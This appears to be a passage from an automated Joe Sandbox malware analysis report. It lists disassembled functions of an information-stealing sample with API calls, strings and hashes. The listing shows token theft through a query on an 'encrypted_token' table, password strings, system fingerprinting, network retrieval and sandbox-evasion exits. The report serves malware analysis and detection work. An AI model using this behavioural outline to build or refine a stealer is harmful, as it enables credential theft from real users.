GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

Part of subcall function 00409240: vsprintf_s.MSVCRT ref: 0040925B

task.LIBCPMTD ref: 00407555

Strings

Password, xrefs: 00407401

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction ID: ef12ebdd473109685825b75701b45193a1214ac884297e43e73859b9717fa869
Opcode Fuzzy Hash: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction Fuzzy Hash: B8614DB5D0416C9BDB24DB50CD41BDAB7B8BF44304F0081EAE689A6281DB746FC9CFA5

Function 00417500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
HeapAlloc.KERNEL32(00000000), ref: 0041760A
wsprintfA.USER32 ref: 00417640

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

C, xrefs: 0041754C
\, xrefs: 00417560
:, xrefs: 0041755C

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction ID: 2fa5a76c25c4840d12821100fc964cf287d391274576238511e757cc0c078ff1
Opcode Fuzzy Hash: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction Fuzzy Hash: BF41A2B5D44248ABDB10DF94DC45BEEBBB9EF08714F10019DF50967280D778AA84CBA9

Function 00414780 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,01191EE0,?,00000104,?,00000104,?,00000104,?,00000104), ref: 004147DB

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414801
lstrcatA.KERNEL32(?,?), ref: 00414820
lstrcatA.KERNEL32(?,?), ref: 00414834
lstrcatA.KERNEL32(?,01183FD0), ref: 00414847
lstrcatA.KERNEL32(?,?), ref: 0041485B
lstrcatA.KERNEL32(?,011912E8), ref: 0041486F

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Part of subcall function 00414570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
Part of subcall function 00414570: HeapAlloc.KERNEL32(00000000), ref: 00414587
Part of subcall function 00414570: wsprintfA.USER32 ref: 004145A6
Part of subcall function 00414570: FindFirstFileA.KERNEL32(?,?), ref: 004145BD

Strings

0aA, xrefs: 004148F9, 004148A1, 004148A4

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: 0aA
API String ID: 167551676-2786531170
Opcode ID: 68b14d5b17c671e2cf7e1b8e16a29c460b7c871aa3e1514749b126a2a2b0c466
Instruction ID: 67fb29d5a8d89bc8d31ec604eacddc75011aa0e27ff4711df2ee94280de74797
Opcode Fuzzy Hash: 68b14d5b17c671e2cf7e1b8e16a29c460b7c871aa3e1514749b126a2a2b0c466
Instruction Fuzzy Hash: EF3182BAD402086BDB10FBF0DC85EE9737DAB48704F40458EB31996081EE7897C9CB99

Function 00418100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01191CD0,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01191CD0,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
__aulldiv.LIBCMT ref: 00418172
__aulldiv.LIBCMT ref: 00418180
wsprintfA.USER32 ref: 004181AC

Strings

@, xrefs: 0041814D
%d MB, xrefs: 004181A3

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 96825d9750bf8db03c9b3ba7d6dfdbb869a7567600a83181e99cf30d3b71d0f4
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: CD210BB1E44218BBDB00DFD5CC49FAEB7B9FB45B14F104609F605BB280D77869018BA9

Function 0040BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040BC9F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BCCD
lstrlenA.KERNEL32(00000000), ref: 0040BDA5
lstrlenA.KERNEL32(00000000), ref: 0040BDB9

Strings

AccountTokens, xrefs: 0040BB49
AccountId, xrefs: 0040BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 0040BBEB
AccountTokens, xrefs: 0040BABA

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: aa59afd4286b4fbca944ed137d6685f3849f1989eb57c629a34f8132c821df51
Instruction ID: 1db97c5984eaf975dbf010622291b68d8c4d82df198c84c91f10bdfb5a5a1c79
Opcode Fuzzy Hash: aa59afd4286b4fbca944ed137d6685f3849f1989eb57c629a34f8132c821df51
Instruction Fuzzy Hash: 8CB19671911108ABDB04FBA1DD52EEE7339AF14314F40452EF506B2091EF386E99CBBA

Function 00404FB0 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00404FD1
InternetOpenA.WININET(00420DDF,00000000,00000000,00000000,00000000), ref: 00404FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405011
InternetReadFile.WININET(00415EDB,?,00000400,00000000), ref: 00405041
memcpy.MSVCRT(00000000,?,00000001), ref: 0040508A
InternetCloseHandle.WININET(00415EDB), ref: 004050B9
InternetCloseHandle.WININET(?), ref: 004050C6

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 6cf967ef785bb23c697623f5c6a033393d0fc44cd8035483208646c558320f55
Instruction ID: cb0899809939a0b3ab7ef321ba077ef70f04c27eec1e373fde9f1e9505320bf0
Opcode Fuzzy Hash: 6cf967ef785bb23c697623f5c6a033393d0fc44cd8035483208646c558320f55
Instruction Fuzzy Hash: 2A3108B8A40218ABDB20CF94DC85BDDB7B5EB48704F1081E9F709B7281C7746AC58F99

Function 004169F0 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0117F1B0), ref: 004198A1
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0117F210), ref: 004198BA
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0117F258), ref: 004198D2
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0117F270), ref: 004198EA
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0117F360), ref: 00419903
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,01182DE0), ref: 0041991B
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,011829A0), ref: 00419933
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,01182B40), ref: 0041994C
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0117F378), ref: 00419964
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0117F2A0), ref: 0041997C
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0117F2D0), ref: 00419995
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0117F510), ref: 004199AD
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,011829C0), ref: 004199C5
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,0117F540), ref: 004199DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004011D0: CreateDCA.GDI32(0118A9F8,00000000,00000000,00000000), ref: 004011E2
Part of subcall function 004011D0: GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
Part of subcall function 004011D0: ReleaseDC.USER32(00000000,?), ref: 00401200
Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416770: GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774

GetUserDefaultLCID.KERNEL32 ref: 00416A26

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0118AA18,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,0118AA18,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseCreateDefaultEventHandleName__aulldiv$CapsComputerCurrentDeviceGlobalInfoLangMemoryNumaOpenReleaseSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 655105637-0
Opcode ID: d8804ea1bff6748de93bb0085dad6dc73f5e155af435cafa9a0d600a9b6efe0f
Instruction ID: 1c0ff58a553566d9d81a636820be0d4cb73d0efe44d476221655ae408a7450da
Opcode Fuzzy Hash: d8804ea1bff6748de93bb0085dad6dc73f5e155af435cafa9a0d600a9b6efe0f
Instruction Fuzzy Hash: E1317074940208AADB04FBF2DC56BEE7339AF04344F10042EF102A61D2DF7C6986C6AE

Function 6C26C930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C26C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C26C969
GetSystemInfo.KERNEL32(?), ref: 6C26C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C26C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C26C9E2

Strings

)TO/, xrefs: 6C26C939

Memory Dump Source

Source File: 00000002.00000002.2275453180.000000006C251000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C250000, based on PE: true

Associated: 00000002.00000002.2275438173.000000006C250000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275826475.000000006C2CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275886594.000000006C2DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275906200.000000006C2E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c250000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID: )TO/
API String ID: 4191843772-3931237147
Opcode ID: 8e429d79368b3fc17dca7fde02c64cb3df17a45c648a517cf740a5b04cf356a1
Instruction ID: 07ab2b6654b12b2e5d4c0cef6b524793076d1723366864d182996144364c5e05
Opcode Fuzzy Hash: 8e429d79368b3fc17dca7fde02c64cb3df17a45c648a517cf740a5b04cf356a1
Instruction Fuzzy Hash: 3121C831B426186BDB04BA75CC88BBE7279AB46B05F60052AFD43A7EC0DB607844C7B5

Function 004047B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Strings

<, xrefs: 004047C9

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

